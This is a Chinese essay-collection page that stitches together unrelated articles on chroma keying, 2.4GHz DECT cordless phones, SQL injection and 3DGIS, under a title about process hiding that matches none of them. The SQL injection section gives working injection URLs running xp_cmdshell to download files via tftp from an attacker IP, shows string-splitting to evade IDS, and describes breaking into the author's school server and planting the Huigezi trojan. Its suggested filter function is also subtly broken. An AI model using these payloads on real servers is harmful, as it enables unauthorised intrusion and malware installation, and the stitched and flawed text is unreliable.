这种处理过程中,假设在RGB彩色空间有一个火柴盒,如图5所示。传统色键之所以不能产生吸引人的效果,原因就在于它将前景物体或兰背景的所有象素组做同样的处理,而没有中间状态。而实际上兰色背景与前景物体彩色之间存在着精细的变化,如头发边缘,头发的颜色与兰背景的颜色在一个象素中以一定的比例共同存在,这些象素无论是被当作兰背景还是目标物体,都可能造成细节丢失后发生兰溢出,要想最终正确地表现出头发边缘,应该是取这两种颜色的平均。在3维彩色空间中,中间色位于前景目标物体颜色与背景兰色中间,如图6所示。PRIMATTE采用了一种模糊(fuzzyness)技术来处理这些象素。它在RGB彩色空间中,用两个火柴盒来设置不同的分割区,一大一小互相嵌套。如图7 所示。采用这种分割,在产生遮挡信号时,除了上述的步骤外,又增加了

AA. 若前景物体的目标象素落在小火柴盒里,将遮挡赋制值为BLACK(黑);

BB.若前景物体的目标象素落在大火柴盒之外,将遮挡赋制值为WHITE(白);

CC.若前景物体的目标象素落在两个火柴盒之间,将遮挡赋制值为GRAY(灰),并且将这种在两个火柴盒之间距离所代表的GRAY等分出亮度等级,靠近小盒子的是深灰,靠近大盒子的是浅灰。

对原兰背景图象的所有象素重复同样的处理,根据该象素所得的灰色亮度结果,来确定原象素有中前后景颜色分量的百分比。如图8所示。这种方法大大改进了色键处理,这也是PRIMATTE中软色键处理的基础。在这种处理方法中,两个分割区的放置是非常重要的技术,前景目标物体应该被放在大盒子之外,兰背景应该被放在小盒子之内,其他的象素应该在两个盒子之间,才可以得到最佳的结果。

5 操作技巧

前面我分别介绍了当今代表硬件方式与软件方式在数字色键领域各领风骚的ULTIMATTE和PRIMATTE,其实由于二者处理方式的不同,决定了应用环境的差别。ULTIMATTE是基于传统视频领域的Y,R-Y,B-Y信号的,完全由硬件来实现实时抠像,非常适应于演播室的直播环境。而PRIMATTE是基于计算机图象处理的合成软件,由于计算机图象显示是以RGB分量处理的,这就决定了在计算机上的色键处理可以完全在RGB彩色空间进行,而且可以多次精细调整,逐渐逼近最佳效果,所以适合于在SGI等计算机图形工作站上进行后期图象合成。

使用ULTIMATTE设备进行抠像,其操作完全沿袭了传统抠像设备的操作模式,这里就不在细说了。以PRIMATTE为代表的软件抠像方式,主要是在计算机或类似计算机平台的设备(如quantel的Harry,painbox等 )上进行基本的数码合成操作,怎样才能把抠像的素材和背景自然地溶为一体,除了操作人员的经验外,也需要前期的配合。下面介绍一些技巧及注意事项。

(1)兰或绿背景要干净,平均,灯光要打好,尤其是运动物体起点位置和终点位置的灯光都要保持好。没有穿崩,没有皱褶,没有暗影,拍摄时这些细节一定要注意,后期效率就成倍的提高。

(2)演员服装,道具尽量不要跟背景混在一起,主要是边缘,譬如物体边缘是红色的,中心有一个蓝色标志(LOGO),这些情况可以修补掉。演员服装,道具反射率高,譬如金属的太空服很容易反射到蓝背景,这样就更要注意了,演员和背景也要有一定的距离。

(3)运动的物体或不在焦点的物体会出现虚化,边缘会发毛,需要特别注意。

(4) 对头发毛丝、玻璃、火,光、烟雾等物体的抠像,需要耐心的多做几个遮罩,必要时采用手工画边。

在后期制作时,使用不同的合成软件,操作方法都不一样,但原理和步骤都是相同的,主要包括

(1)做遮罩(MATT)。实际拍摄的画面中,物体与背景的边缘都会有一个蒙边的过渡,而合成的物体边缘必须模仿这种过度。边缘太硬,合成上去的物体像一个剪纸,边缘过虚,抠像物体就给吃掉边缘,少了细节。抠像时必须仔细地制作遮罩(MATT),为了保证抠像物体能有尽量清晰的边缘细节,很多时候一个物体需要分几部分做几个MATT,才能抠干净,千万不要怕麻烦。

(2)遮罩(MATT)蚀入。把抠像物体的遮罩(MATT)作虚边,然后合成时把MATT的虚边往里面蚀入一些,这样可以避免边缘经常出现的闪动和锯齿,物体与背景的边缘有自然的过渡。

(3)褪蓝。有了遮罩(MATT)还不能直接把前景和背景合上,因为这样前景的物体通常会有碍眼的蓝边,必需经过褪蓝这一步骤,有的软件是在调色完成的,把画面中的蓝色成分去掉,(千万不要影响到前景物体的颜色!)人的肤色中带有一定的蓝,去掉了肤色会变粉,很不自然。虽然有的软件本身有专门做褪蓝的命令,但为了保证画面的质量,采用手工调整比较好。

(4)画边。有时因为某种原因不能褪蓝,譬如会影响到物体的颜色,或褪蓝不干净,这时就要用手工一帧一帧的把物体边缘上的蓝色用接近物体的颜色修掉。

(5)颜色修正。需要根据最终效果仔细调整每个镜头间的色调,一定要保持一致。

(6)手画遮罩(MATT)。对于抠像物体跟背景混在一起的画面只能一帧一帧的手画遮罩(MATT),不仅十分费时费力,而且很难得到高质量的遮罩(MATT)。物体边缘的黑边、锯齿、闪动等都是常见的问题。捷径是可以用曲线勾画出抠像物体边缘,做几个关键帧,其余画面由电脑完成,再慢慢调整,使每一帧的物体边缘和曲线吻合,这样还有一个好处,可以减少边缘的抖动。

数字化视频处理,也带来了键控技术的飞速发展。了解它的变迁和发展,可以使我们正确的选择、使用新的设备和技术,本文力求在这方面能够对读者有所裨益。

篇6:2.4GHz DECT技术体系与实现方法

2.4GHz DECT技术体系与实现方法

摘要:介绍了2.4GHzDECT系统空中接口协议的分层模型及应用情况,对几种实现方法进行分析和比较,重点介绍并讨论了美国国家半导体公司的芯片组实现方案及系统软件的设计方法,对2.4GHzDECT的实现方法给出了可行性建议。

关键词:DECT技术体系实现方法

DECT(DigitalEnhancedCordlessTelecommuniction)系统是由欧洲电信标准协会(ETSI)制定的增强型数字无绳电话系统标准[1],也是唯一入选IMT-2000(3G)的数字无绳通信标准(IMT-2000[7]称为IMT-FT)。

DECT是一个开放型的、不断演进的标准,可为高用户密度、小范围通信提供话音和数据高质量服务无绳通信的框架。其主要功能是为专用交换机(PABX)的便携用户提供区域移动性。它可以将移动用户连接到公共交换电话网(PSTN)、综合业务数据网(ISDN)或者数字蜂窝移动通信网(如GSM)上去,在100~500m范围内,为便携用户和固定基站之间提供低功率的无线接入。其系统网络结构图如图1所示。

目前,DECT系统在应用频段上,除继续使用1880~1900MHz外,现已较多地使用2400~2483.5MHzISM(工业、科学和医学)频段。我国国家无线电管理局于2001年8月发布通知,从2003年起将数字无绳电话系统工作频段放在2400~2483.5MHzISM频段。采用跳频扩频(FHSS)或直接系列扩频(DSSS)技术,具有极强的抗多径衰落能力和极高的保密性,极大地提高了DECT系统的通话距离。世界各大DECT系统设备制造商都已生产基于2.4GHzISM频段、采用跳频技术的产品,如西门子公司的GIGASET4000、4200和8800系列产品。另外,同时支持GSM蜂窝网和DECT系统的双模式产品,也已在欧洲投入使用,如爱立信公司的便携手机TH688支持DECT/GSM双模式应用。

12.4GHzDECT的空中接口

DECT的空中接口协议与综合业务数字网相类似,是基于开放系统互连(OSI)原则的。控制平面(C平面)和用户平面(U平面)使用较低层(即物理层和中间接入控制层)提供的服务。DECT系统能够支持超过10000个用户/平方公里(商业和办公环境)而不需要知道用户位于哪个小区。但它不是一个完全的系统概念。这一点与其它系统,如GSM、CDMA等蜂窝移动通信系统标准不同。它是为无线本地环路(WLL)或城市区域接入而设计的,但它可用于与蜂窝移动通信系统(如GSM)相连接。DECT可根据便携式手机所接收的信号动态地分配信道,且系统设计仅为普通移动速度的用户提供越区切换和漫游。DECT系统空中接口协议的分层模型如图2所示。

2.4GHzDECT在座机(无线固定部分)和手机之间采用基于多载波/时分多址/时分双工(MC/TDMA/TDD)无线接入方式。调制方式为GFSK(BT=0.5),通过跳频技术减少同频干扰,保证传输的可靠性。ISM频段的分配是从2400~2483.5MHz的83.5MHz频带内大于79个射频载波,其中心频率fn=2402MHz+kMHz;k=0~78,信道带宽≤1MHz,跳频速率为100跳/秒。

DECT在每个载波上,TDMA的10ms帧结构规定为24个时隙(Slot),每个时隙约占416.7μs。在各时隙中数据以分组的形式发送,时隙和帧结构如图3所示。

22.4GHzDECT实现方法分析

2.4GHzDECT在实现方法上,主要采用GFSK(BT=0.5)调制与FHSS技术相结合的方式。其技术方案主要有:美国国家半导体公司的SC144xx系列基带信号处理器和RF芯片LMX3162;美国DSPGroup公司的DR36K系列基带信号处理器和RF芯片DM24RF17;Infineon公司的PMB67xx系列基带信号处理器和RF芯片PMB6618;飞利浦公司的PCD509xx系列基带信号处理器等。

从资料分析看,在2.4GHzDECT实现方法上,各大芯片公司多采用GFSK+FHSS的技术体制。因为GFSK+FHSS的技术体制结构上比较简单,产品成本较低,适于移动,是窄带移动通信系统普遍采用的技术体制;由于其RF芯片与Bluetooth的RF芯片技术体制基本相同可通用,其应用范围广阔。

ETSITS101948V1.1.1(2001-04)[2]文件中已明确指出经过试验测试,2.4GHzISM频段采用FHSS技术在窄带移动通信方面的抗干扰能力上,明显优于DSSS技术体制。

图3DECT时隙和帧结构

3SC14428基带信号处理器和RF芯片LMX3162实现DECT

SC14428基带信号处理器和RF芯片LMX3162实现DECT系统的框图如图4所示

DECT由无线收发信机、基带信号处理电路、基带控制电路、存储电路、键盘、显示器、外部接口等组成,采用MC/TDMA/TDD接入方式,GFSK调制(BT=0.5),32kbpsADPCM话音编解码。BMC(BurstModeController)的主要功能在于控制数字无绳电话系统的TDD双工工作,形成TDMA帧和解帧、提供控制器与输入输出的ADPCM话音数据接口,是构成系统的关键部件之一。在SC14428基带信号处理器与RF芯片LMX3162之间的带通滤波器3dBBW(带宽)=BT×Bitrate。

3.1LMX3162RF接收/发送芯片

LMX3162芯片是座机和手机的IF/RFTransceiver,符合ESTI300175-2(PHL:PhysicalLayer)技术标准。采用2.4GHzFHSS技术,将从基带信号处理器来的数字FSK调制信号,通过高斯滤波器(BT=0.5),加到VCO和Synthesizer(PLL)上,同时基带信号处理器产生的跳频控制信号控制在2.4~2.485GHz频段中VCO产生的载波频率,形成2.4GHzISM的GFSK已调FHSS信号,输出到功率放大器经TDD开关和天线发射出去。接收时,经TDD开关和天线后,通过VCO和PLL,将2.4GHzISM的GFSK已调FHSS信号下变频后,传输到基带信号处理器。

在LMX3162芯片中,为了简化电路、降低成本,不采用AGC和AFC。采用限幅器,对大信号进行限幅处理,小信号则必须在允许接收信号的电平之上。至于AFC可采用频率稳定度在1ppm左右的晶体振荡器,通过提高晶体振荡器的频率稳定度来替代AFC控制电路。

FHSS采用发送接收双方事先约定的跳频图案,用100Hz0.5~2.25VDC电压提供给VCO,通过电压的变化使VCO产生2.402~2.4835GHz的≥79个中心频率;相对而言,其Synthesis(同步器)采用DirectDigitalSynthesis(DDS),由VCO和PLL组成,参考频率13.824MHz。接收IF频率为110.592MHz(13.824MHz×8=110.592MHz),BW=650kHz。

图4DECT系统的框图

3.2SC14428基带信号处理器芯片

SC14428芯片是BS和PH的基带信号处理器,符合ESTI300175-2,3(MAC)技术标准,采用CSMA-CA接入控制协议。其内置16位CR16控制器和16位DSP以及ROM、SRAM、FlashMemory、8-bitADC等,完成32kbpsADPCM编解码、CID、DTMF、RSSI(接收信号强度指示)、TDMA/TDD帧和数字FSK调制解调等功能,具有UART、SPI和ISDN等接口,可方便地与键盘、LCD、Speaker和MIC相连,满足人机界面(MMI)开发和设计的要求。芯片的TXDATA输出为1VppNRZFSK(调制系数=0.32)已调数据,数据率1152kbps/载频。芯片的VTUN为100Hz0.5~2.25VDC电压提供给1.2~1.24GHz的VCO,使VCO产生所需的频率。

接收端RXDATA接收0~3V的FSK信号,FSK解调采用常用的积分检波技术,鉴相器的输出电压正比于输入FSK信号的瞬时频率。这样就完成了频率-幅度的转换,实现了对FSK信号的解调。

同步VCO采用DC控制。从防护频带边沿开始到有效时隙的465μs为同步锁定时间。SC14428芯片通过串行线将控制数据写入RFIC芯片的寄存器,并读取其状态寄存器的内容。

BMC包括两个主逻辑区:SRAM和寄存器。SRAM用于存储系统参数和A-field(Data)、B-field(Speech)数据,时隙控制参数和加解密编码;寄存器中的数据直接用于对硬件系统的控制或存放系统状态信息。

3.3协议软件体系

协议软件结构框图如图5所示。L1层软件主要完成物理层的控制以及部分MAC层的功能:选择和动态分配物理信道,低层设备驱动程序,包括对基带信号处理芯片的控制等。L2层软件主要完成DLC层和网络层的功能:负责在基站和手机之间的双向数据传输,提供差错控制功能,负责呼叫控制和移动管理。L3层软件主要完成应用层功能:实现产品的各种功能及其用户接口,如人机界面(MMI)软件。MMI软件主要提供手机的全面控制和手机与用户之间的接口,包括用户键盘输入、手机状态和呼叫处理过程显示、CallerID和电子簿的管理、PIN码的控制、拨号等。

软件流程基于消息驱动的机制,各层发出的消息由资源管理软件管理,根据任务发送到目标层处理,同时也负责对系统资源的分配和管理。

3.4软件设计方法

软件设计要实现的基本功能是普通电话机与手机、座机无线通信的.功能。要设计好软件应首先考虑两个主要问题:

・要求软件设计者对DECT系统有比较深刻的认识;

・DECT系统的许多事件需要实时处理,且要持续一段时间。不少事件在时间上有可能是重叠的,需要同时处理,例如信令码的收与发可能是并行发生的,振铃检测、信令传输、振铃呼叫是要并行处理的,键盘扫描、信令传输、脉冲或DTMF发号也需并行处理。而对诸如此类的实时并发事件,与通常的软件设计方法不同。

为此,软件设计应引入实时多任务控制系统的概念。实施多任务并行处理的常用方法是分时操作。分时操作就是将整个MCU运行期划分为许多均匀的时隙。每个时隙由MCU的定时中断控制。其主要任务可

分为:系统初始化、系统资源的分配和管理、建立物理链路和数据发送、接收等。DECT软件重要的是设计资源管理软件,负责对系统资源的分配和管理,给每个任务分配执行时隙,安排各个任务间的转换。一个任务可能在许多不连续的时隙里执行完成。若一个时隙相对于任务的变化来说非常短,那么不连续执行与连续执行的效果完全一样,而其间的其它时隙可分配给其它任务,这样就达到了多任务并行执行的效果。

资源管理软件对任务的处理是在消息的驱动下,触发定时中断后被激活,执行任务的分配和管理。但资源管理软件对任务的处理是根据其优先级执行的,保证对任务实时处理。一般任务按类型可分为:(1)意外突发性;(2)周期性检测或控制;(3)实时事件的后台处理。第(1)类任务优先级最高,第(3)类任务优先级最低。因此L1层软件、L2层软件和L3层软件在资源管理软件的作用下,通过消息的驱动和对任务的目标管理将各层软件连接起来,同步协调工作。

综上所述,开发基于2.4GHzDECT技术的数字无绳电话,DECT软件设计的技术难度较高。由于2.4GHzDECT系统采用TDMA/TDD接入方式,在设计中也要解决突发模式工作下系统供电能力和频率稳定性、帧同步和回声消除等比较突出的问题。

在2.4GHzDECT实现方法上可对各芯片公司解决方案进行分析与研究,在硬件上采用芯片组解决方案;在软件上,可采用先从系统方案供应商或软件公司购买协议栈软件,由开发用户自己用C语言编写MMI软件完成数字无绳电话技术开发;在积累一定开发经验的基础上,可自行开发针对某一芯片组的协议软件。

篇7: 技术 SQL injection的实现与应用

前言

SQL injection可以说是一种漏洞,也可以说成是一种攻击方法,程序中的变量处理不当,对用户提交的数据过滤不足,都可能产生这个漏洞,而攻击原理就是利用用户提交或可修改的数据,把想要的SQL语句插入到系统实际SQL语句中,轻则获得敏感的信息,重则控制服务器,

技术 SQL injection的实现与应用

。SQL injection并不紧紧局限在Mssql数据库中,Access、Mysql、Oracle、Sybase都可以进行SQL injection攻击。

isno的《SQL injection攻击技术》是一篇不可多得的好文章,大家可以看看,但是程序毕竟是各种各样的,有些可以通过修改URL数据来提交命令或语句,有些则不行,不能打URL的主意,怎么办呢?通过修改标签内的value的值也可以提交我们构造的语句,SQL injection是很灵活的技术,但我们的目的只有一个,就是想方设法饶过程序或IDS的检测和处理提交我们构造的有效语句。

检测漏洞

在大多数ASP站点中,我们并不知道其程序代码,靠任何扫描器也不可能发现SQL injection漏洞,这时就要靠手工检测了,由于我们执行SQL语句要用到单引号、分号、逗号、冒号和“--”,所以我们就在可修改的URL后加上以上符号,或在表单中的文本框加上这些符号,比如:

localhost/show.asp?id=1'

localhost/show.asp?id=1;

……

通过页面返回的信息,判断是否存在SQL injection漏洞,只是最简单的通过字符过滤来判断,根据IIS配置不同,返回的信息是不定的,有时显示:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'

ODBC 驱动程序不支持所需的属性。

/register/lostpass2.asp,行15

有时可能会显示“HTTP 500 - 内部服务器错误”,也可能显示原来的页面,也就是页面正常显示,更可能提示“HTTP 404 C 找不到该页”,判断是否有漏洞就要有个最基本的根据――经验,原来我刚开始学习的时候认为我们学校没有这个漏洞,但小叮当告诉我,返回的信息仅仅是个根据,更重要的是经验,结果我们学校就在2小时内被他利用SQL injection漏洞进入了,还开了一个telnet服务……

如果能拿到源代码就更好了,可以通过分析源代码来发现ASP文件的问题,不过这要求有较高的编程功底,最近PsKey就发现了不少程序存在SQL injection漏洞。真是个厉害角色。

提交数据

我们判断出一个ASP程序存在SQL injection漏洞以后就要构造我们的语句来对服务器进行操作了,一般我们的目的是控制SQL服务器查阅信息甚至操作系统。所以我们要用到xp_cmdshell这个扩展存储过程,xp_cmdshell是一个非常有用的扩展存储过程,用于执行系统命令,比如dir,我们可以根据程序的不同,提交不同的语句,下例语句仅仅是个参考,告诉大家这个原理,实际情况视程序而定,照搬不一定成功,下同。

localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'dir';--

localhost/show.asp?id=1'; exec master..xp_cmdshell 'dir'--

正如前面所说,提交这样的信息浏览器会返回出错信息或500错误,我们怎么才能知道执行是否成功呢?isno的办法是用nc监听本机端口,然后提交nslookup命令来查询,我个人觉得有些麻烦,直接用tftp来有多种好处,能知道命令是否成功执行;能获得SQL服务器的IP从而判断SQL服务器的位置;还能节省一些步骤直接上传文件到SQL服务器。利用xp_cmdshell扩展存储过程执行tftp命令,在玩unicode漏洞的时候大家就炉火纯青了吧?列如:

localhost/show.asp?id=1; exec master.dbo.xp_cmdshell 'tftp Ci youip get file.exe';--

localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp Ci youip get file.exe'--

有时提交的数据并不一定起作用,看你怎么绕过程序的检测了,如果幸运成功的话,可以看到tftp软件的窗口出现从本机下载文件的信息了。

对话框中的IP地址就是SQL服务器的IP,可以根据这个IP判断SQL服务器处于什么位置,和web服务器一起,在局域网内,还是单独的服务器,就自己判断了,此知识点不在本文讨论范围内,就此略过。命令执行成功以后,就可以替换单引号中的内容,添加用户、提升权限做什么都随便大家了,不过要看看连接SQL服务器的这个角色是什么组的了。

饶过程序/IDS检测

大多数时候,情况并非我们想象的那么顺利,明明字符过滤不完善,但程序或IDS检测到用户提交某个扩展存储过程或系统命令,就自动转换或拆分字符,让我们提交的数据分家或改变导致失效,怎么办呢?我记得我为了弄清如何饶过IDS检测,花了两节课的时间来思考,还写写画画浪费了半本笔记本,又经过小叮当的提示,就产生一个思路:拆分命令字符串,赋值给变量,然后把变量组合起来提交,这样就不会分家了,下面给出两个例子:

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:'

declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:'

有时候并不需要这样,只要把某些字符换ASCII代码,同样也可以成功执行,这个我还没有条件试,如果哪位高人有这方面的研究,请赐教。

实战

我们学校的站点做得不错,上次发表了《由学校校园网看网络安全现况》以后,学校的安全性各方面都有些提高,监控程序接近变态,为什么这样说呢?添加了几十个守护进程,动不动就死机、蓝屏,不过我又破了,包括最令学校自豪的硬盘保护卡,

(有人要问我为什么都拿自己学校开刀?因为作为一个安全技术爱好者连自己的学校/公司都搞不定还怎么混啊?而且可以间接提醒一下管理员,因为我们学校的管理员对安全性不是很在乎)可见安全没有绝对的,当然也不可能十全十美,尽管用扫描器找不到任何漏洞,但利用SQL injection漏洞却可以轻易攻破,看看整个站点,没有任何URL参数,文章是静态的页面,只有一个注册系统和动网论坛,动网论坛是SQL版的,自己修改过,所以比较安全,最新的漏洞没有。由于学校有条件,所以全站是基于ASP+SQL,为我们利用SQL injection漏洞打下基础,注册系统有个忘记密码功能,文件是lostpass.asp,提交用户以后转到lostpass1.asp,提交单引号和分号都提示错误,看来是没有过滤好,于是我提交以下命令:

exec master.dbo.xp_cmdshell 'tftp Ci youip get file.exe';--

exec master..xp_cmdshell 'tftp Ci youip get file.exe'--

xp_cmdshell 'tftp Ci youip get file.exe';--

……

执行了N条指令(N>50),都不见效,算了,先放弃,再看看还有什么文件可以利用,不久发现shownews.asp这个文件,通常可以执行系统命令的都是这类显示文章、资料等等文件,我想学校的开发人员的安全意识应该还没有那么强,所以着实开心了一阵,马上试试:

ourschool/shownews.asp?newsid=1;

ourschool/shownews.asp?newsid=1'

呵呵,返回“HTTP 500 - 内部服务器错误”凭经验漏洞存在,OK,马上输入:

ourschool/shownews.asp?newsid=1'exec master..xp_cmdshell 'tftp -i myip get flash.exe';--

ourschool/shownews.asp?newsid=1;exec master..xp_cmdshell 'tftp -i myip get flash.exe;--

……

ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--

试到这句的时候,终于发现tftp软件的窗口有提示了,大家可以参考前面的那个截图,我们已经成功了,我的经验告诉我,连接SQL数据库的角色是Sysadmin组的,因为我们学校是独立的服务器,所以权限应该很高,我们可以执行任意命令,只要替换ourschool/shownews.asp?newsid=1;exec master.dbo.xp_cmdshell 'tftp -i myip get flash.exe';--这句单引号里的命令即可,为了快点结束战斗,我还是传了个灰鸽子上去,刚才传的flash.exe就是客户端:)事后证明,连接数据库的果然是sa,善后工作就不写了,反正大家都知道。

整个过程看起来很简单,执行一些语句就可以了,其实提交数据的时候,由于我事先没有看过shownews.asp的代码(后来我看了),提交了不下20次无效的语句,走了不少弯路,不过对SQL Injection的高手来说这些都是一些皮毛,这篇文章只不过是有个引导作用罢了。

解决办法

事后分析了一下(多谢PsKey的指导)shownews.asp,发现有这个文件完全没有做任何过滤,里面有这么一句:

rs.open ”select * from news where newsid=“ & cstr(request(”newsid“)),conn,1,1

可以直接构造 newsid 发动sql injection攻击,针对这个文件的解决办法就是用replace函数过滤,看看下面的一个函数:

<%

function checkStr(str)

if isnull(str) then

checkStr = ”“

exit function

end if

checkStr=replace(str,”'“,”“)

checkStr=replace(str,”;“,”“)

checkStr=replace(str,”--“,”")

end function

%>

需要从根本上解决解决SQL Injection问题。还得从程序本身入手。过滤不能单纯的过滤URL所提交的参数,在表单里的也要过滤,value=后面的可以修改的数据,修改后可以提交到服务器,总之对所有的表单提交的数据以及用户可能对HTML源文件进行修改来控制的所有来自Web服务器外部的数据进行过滤或转换,(我不擅于表达,此话改自isno的一句话,谢谢isno)对单引号、双引号、分号“--”还有对数字键上面的所有特殊字符进行过滤,还有QUERY_STRING环境变量。在服务器上删除一些危险的扩展存储过程,比如xp_cmdshell。有条件装个IDS更好,不敢说无坚不摧,但至少可以阻挡大部分攻击者。有哪位朋友愿意交流请来我的论坛“Web安全”和我探讨。

由于本人水平有限,有错漏的地方请大家见谅。

篇8:基于3DGIS技术的信息系统的研究与实现

基于3DGIS技术的信息系统的研究与实现

地理信息系统(Geographic Information System, GIS)是一门综合性的技术,是一种对空间数据进行采集、存储、更新、分析、输出等处理的工具.三维地理信息系统(3DGIS)是将地理信息系统(GIS)技术和虚拟现实(VR)技术相结合的新技术,它将GIS的空间查询、分析和决策功能与VR逼真的三维可视化功能有机地结合在一起,增强了GIS系统的可视化效果和三维空间分析能力.采用先进的`3DGIS技术实现,对提高信息系统效率有着重要意义.

作 者:余刚 张秀山 程瑾 Yu Gang Zhang Xiushan Cheng Jin  作者单位:海军工程大学,武汉,430033 刊 名:舰船电子工程 英文刊名:SHIP ELECTRONIC ENGINEERING 年,卷(期):2009 29(3) 分类号:P208 关键词:3DGIS   信息系统   虚拟现实技术  

浅析高校体育社会化的建设与需要的论文

浅析建设工程造价的有效控制

浅析中国农村现代化进程论文

行政管理毕业论文选题题目

关于体育教学环境的论文题目

浅析封山育林在运行中的困难及对策论文

浅析公路运输经济信息化管理必要性的论文

浅析水利工程施工中的安全管理措施论文

浅析基于电子商务背景的企业招标问题研究

浅析距离和时间双重视角下物流运输路线优化

浅析进程“伪隐藏”技术与实现两则
《浅析进程“伪隐藏”技术与实现两则.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【浅析进程“伪隐藏”技术与实现两则(精选8篇)】相关文章:

浅析电力工程安全管理2023-06-01

工商管理大专论文题目2022-07-16

会计学毕业论文选题2024-03-23

浅析我国管理会计的应用现状及其发展2023-01-13

农学方向专业毕业论文题目选题2023-02-10

初高中、小学体育教学论文题目参考2023-06-06

高校档案信息化建设浅析2022-08-27

财务会计毕业论文2023-09-12

浅析钢铁企业总图设计与环境保护论文2023-05-09

航天航空专业毕业论文题目2023-06-09

点击下载本文文档